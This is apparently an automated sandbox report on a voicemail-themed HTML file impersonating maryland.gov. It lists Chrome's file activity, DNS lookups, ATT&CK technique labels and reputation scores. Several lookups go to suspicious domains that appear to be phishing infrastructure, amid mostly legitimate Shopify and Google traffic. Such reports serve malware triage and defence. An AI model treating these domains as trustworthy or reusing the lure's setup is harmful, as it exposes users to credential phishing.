Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_72890695	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_72890695\Google.Widevine.CDM.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_72890695\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_72890695\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_72890695\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_72890695\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_19991465	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_19991465\LICENSE.txt	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_19991465\Filtering Rules	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_19991465\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_19991465\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_19991465\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_19991465\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_593253539	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_593253539\cr_en-us_500000_index.bin	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_593253539\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_593253539\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_593253539\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_593253539\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_204324407	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_204324407\keys.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_204324407\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_204324407\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_204324407\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_204324407\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_204324407\manifest.fingerprint	Jump to behavior

Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: newburymadison.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: href.li
Source: global traffic	DNS traffic detected: DNS query: 78tnc.seren1.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: t2fhl.25bvnw8.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.shopify.com
Source: global traffic	DNS traffic detected: DNS query: cdn.shopify.com
Source: global traffic	DNS traffic detected: DNS query: gtm.shopify.com
Source: global traffic	DNS traffic detected: DNS query: fast.wistia.com
Source: global traffic	DNS traffic detected: DNS query: play.vidyard.com
Source: global traffic	DNS traffic detected: DNS query: cdn.bizible.com
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: cdn.bizibly.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: cdn.vidyard.com
Source: global traffic	DNS traffic detected: DNS query: assets.vidyard.com
Source: global traffic	DNS traffic detected: DNS query: analytics.google.com
Source: global traffic	DNS traffic detected: DNS query: stats.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: ad.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: adservice.google.com
Source: global traffic	DNS traffic detected: DNS query: monorail-edge.shopifysvc.com
Source: global traffic	DNS traffic detected: DNS query: tags.tiqcdn.com
Source: global traffic	DNS traffic detected: DNS query: themes.shopify.com
Source: global traffic	DNS traffic detected: DNS query: sessions.bugsnag.com

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\V-Mail_maryland.gov.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2208,i,1097562011457733179,17414382723249164348,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5880 --field-trial-handle=2208,i,1097562011457733179,17414382723249164348,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3232 --field-trial-handle=2208,i,1097562011457733179,17414382723249164348,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2208,i,1097562011457733179,17414382723249164348,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5880 --field-trial-handle=2208,i,1097562011457733179,17414382723249164348,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3232 --field-trial-handle=2208,i,1097562011457733179,17414382723249164348,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: .00cfg
Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: .gxfg
Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: .retplne
Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: .voltbl
Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: _RDATA

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	21 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Link
newburymadison.com	5%	Virustotal	Browse
cdn-cf.vidyard.com	0%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
adservice.google.com	0%	Virustotal	Browse
stats.g.doubleclick.net	0%	Virustotal	Browse
cs6.wpc.omegacdn.net	0%	Virustotal	Browse
scontent.xx.fbcdn.net	0%	Virustotal	Browse
code.jquery.com	1%	Virustotal	Browse
cdnjs.cloudflare.com	0%	Virustotal	Browse
ad.doubleclick.net	0%	Virustotal	Browse
sessions.bugsnag.com	0%	Virustotal	Browse
www.shopify.com	0%	Virustotal	Browse
star-mini.c10r.facebook.com	0%	Virustotal	Browse
a.nel.cloudflare.com	0%	Virustotal	Browse
href.li	1%	Virustotal	Browse
gtm.shopify.com	0%	Virustotal	Browse
googleads.g.doubleclick.net	0%	Virustotal	Browse
themes.shopify.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
cdn.shopify.com	0%	Virustotal	Browse
gw-monorail-production-gateway-1-apps-a-us-ea1-ci2.shopifycloud.com	0%	Virustotal	Browse
analytics-alv.google.com	0%	Virustotal	Browse
fp2c5c.wac.kappacdn.net	0%	Virustotal	Browse
dzfq4ouujrxm8.cloudfront.net	0%	Virustotal	Browse
fast.wistia.com	0%	Virustotal	Browse
monorail-edge.shopifysvc.com	0%	Virustotal	Browse
cdn.vidyard.com	0%	Virustotal	Browse
cdn.bizibly.com	0%	Virustotal	Browse
www.facebook.com	0%	Virustotal	Browse
cdn.bizible.com	0%	Virustotal	Browse
play.vidyard.com	0%	Virustotal	Browse
connect.facebook.net	0%	Virustotal	Browse
analytics.google.com	0%	Virustotal	Browse
tags.tiqcdn.com	0%	Virustotal	Browse
challenges.cloudflare.com	0%	Virustotal	Browse
assets.vidyard.com	0%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://static.hotjar.com/c/hotjar-	0%	URL Reputation	safe
https://adservice.google.com/ddm/fls/z/src=9321158;type=shopi0;cat=shopi0;ord=603171799;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=;em=tv.;ps=1;pcor=1184261187;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/Next-SKkK-byL.js	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/KirrinFinchLogo-a5183c1d6d52e	0%	Avira URL Cloud	safe
https://adservice.google.com/ddm/fls/z/src=9321158;type=shopi0;cat=shopi0;ord=872633583;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;u6=component_viewability;u7=main%7Chero;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=;em=tv.;ps=1;pcor=378722122;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F	0%	Avira URL Cloud	safe
https://remix.run/route/hydrate-fallback	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/qznioebed09uyp3zmct2ktcj9jpx.jpg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/bbhopyza8pqm9l0qcqr939wvw2vq.jpg	0%	Avira URL Cloud	safe
https://remix.run/route/hydrate-fallback	0%	Virustotal		Browse
https://www.shopify.com/tw	0%	Avira URL Cloud	safe
https://cdn.shopify.com/b/shopify-brochure2-assets/f5d0030128dfafb20b4b20353078a461.svgz	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/ShopifyLogoClient-Ie8xynBb.js	0%	Avira URL Cloud	safe
https://cdn.shopify.com/b/shopify-brochure2-assets/c99f9bb49ec7dec96678765339586edc.svgz	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/CookieNoticeBanner-R-zz7DIc.js	0%	Avira URL Cloud	safe
https://www.shopify.com/se	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/start/outcomes/icons/blog-03af7575d39ac059c19ea19185e9f793d1415783216b004b06daba0747038694.svg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/seo/website/builder/pillars-get-builder-small-7986cb046b635846e274ef1e19ce3cd2cca1b82c9e32cf4f997cd5c537789dd0.png	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/useCookieNoticeBanner-BPg5kY0x.js	0%	Avira URL Cloud	safe
https://www.facebook.com/tr/?id=1904241839800487&ev=PageView&dl=https%3A%2F%2Fwww.shopify.com%2F%23main&rl=&if=false&ts=1720762076474&sw=1280&sh=1024&v=2.9.161&r=stable&ec=0&o=4126&fbp=fb.1.1720762060676.754393549600852678&ler=empty&cdl=API_unavailable&cs_est=true&it=1720762074066&coo=false&dpo=LDU&dpoco=0&dpost=0&rqm=GET	0%	Avira URL Cloud	safe
https://cdn.shopify.com/b/shopify-brochure2-assets/d7c2832fee460b4e7b90d2620f0149e6.svgz	0%	Avira URL Cloud	safe
https://www.youtube.com/c/ShopifyBrasil	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/wji21qqio1uyr7stf5ir4ofza87k.jpg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/hero5-tiny-small-9189b66d4185	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/d2s67hb3o1y5ufe7d0eja9zi563u.jpg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/root-DEmynlZP.js	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/iks7npd4cll852vgvmha654dor6e.jpg	0%	Avira URL Cloud	safe
https://www.shopify.com/sg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/styles-Cb1-5A9Q.js	0%	Avira URL Cloud	safe
https://shopify.com	0%	Avira URL Cloud	safe
https://monorail-edge.shopifysvc.com/v1/produce	0%	Avira URL Cloud	safe
https://cdn.bizibly.com/u?_biz_u=7a871352b8524e2cfcff1c0401a33034&_biz_l=https%3A%2F%2Fwww.shopify.com%2F&_biz_t=1720762055284&_biz_i=Start%20and%20grow%20your%20e-commerce%20business%20-%203-Day%20Free%20Trial%20-%20Shopify%20USA&rnd=942783&cdn_o=a&_biz_z=1720762055284	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/preload-helper-BaGoQYBl.js	0%	Avira URL Cloud	safe
https://cdn.shopify.com/b/shopify-brochure2-assets/a5338c3f79a6e291b743e0149035a5fa.svgz	0%	Avira URL Cloud	safe
https://help.shopify.com/en/questions	0%	Avira URL Cloud	safe
https://ad.doubleclick.net/activity;src=9321158;type=shopi0;cat=shopi0;ord=1937622028;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;u6=component_viewability;u7=main%7Chero;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=878443441.1720762051;em=tv.1;ps=1;pcor=430300849;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F?	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	0%	Avira URL Cloud	safe
https://cdn.bizible.com/ipv?_biz_r=&_biz_h=-1777624096&_biz_u=7a871352b8524e2cfcff1c0401a33034&_biz_l=https%3A%2F%2Fwww.shopify.com%2F%23main&_biz_t=1720762073988&_biz_i=Start%20and%20grow%20your%20e-commerce%20business%20-%203-Day%20Free%20Trial%20-%20Shopify%20USA&_biz_n=1&rnd=110715&cdn_o=a&_biz_z=1720762073989	0%	Avira URL Cloud	safe
https://cdn.shopify.com/b/shopify-brochure2-assets/cd55dad309f3f66eb1b1fd5d6642e0f5.svgz	0%	Avira URL Cloud	safe
https://cdn.shopify.com/b/shopify-brochure2-assets/417301e08872b3bb26b3eb9f66a1be15.svgz	0%	Avira URL Cloud	safe
https://www.shopify.com/vn	0%	Avira URL Cloud	safe
https://buildnative.shop	0%	Avira URL Cloud	safe
https://www.google.com/pagead/1p-user-list/974897256/?random=1040576362&fst=1720760400000&cv=10&fmt=3&bg=ffffff&guid=ON&u_w=1280&u_h=1024&gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954&url=https%3A%2F%2Fwww.shopify.com%2Fwebsite%2Fbuilder&tiba=Website%20Builder%202024%20%7C%20Create%20a%20Website%20in%20Minutes&auid=878443441.1720762051&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&dma=0&npa=0&gcs=G1--&gcd=13l3l3l3l5&pscdl=noapi&is_vtc=1&cid=CAQSKQDaQooLl6To4ASQMl5jF-hfd7apnF08b53IBTJHnuJ0dYnWxv1tXcJ4&random=969691511	0%	Avira URL Cloud	safe
https://cdn.shopify.com/s/trekkie.themestore.min.js?v=2020.07.23.1	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/start/outcomes/icons/guide-63c4994012b258879aa7de622589ca49c6ceceb4bac2776db1e4b202b0ac2ec5.svg	0%	Avira URL Cloud	safe
https://www.shopify.com/es-es	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/useScrollThresholds-DAXf-Tov.js	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/fjvm3ygc05ok4a0x0knknbgxg2ti.jpg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/I18N-Ck5GeKaj.js	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/carousel-1-poster-small-59dcf	0%	Avira URL Cloud	safe
https://www.pinterest.com/shopify/	0%	Avira URL Cloud	safe
https://adservice.google.com/ddm/fls/z/src=9321158;type=shopi0;cat=shopi0;ord=1128271134;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=;em=tv.;ps=1;pcor=1324181095;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2Fwebsite%2Fbuilder	0%	Avira URL Cloud	safe
https://shop.app	0%	Avira URL Cloud	safe
https://www.shopify.com/uk	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/41hcduhdnuifpztf7lzafusvauyu.jpg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/entry.client-eXWLrOVS.js	0%	Avira URL Cloud	safe
https://adservice.google.com/ddm/fls/z/src=9321158;type=shopi0;cat=shopi0;ord=588751254;gtm=45j91e47b0h2v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=;em=tv.;ps=1;pcor=1832009946;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/manifests/seo/website-builder-cb4a1ff8994c958f32ebf7fe2456a0c29ee4c42dda19919014687cfb1b9c543a.css	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/0gwrau94fkj01qdj97sze79cvy7c.jpg	0%	Avira URL Cloud	safe
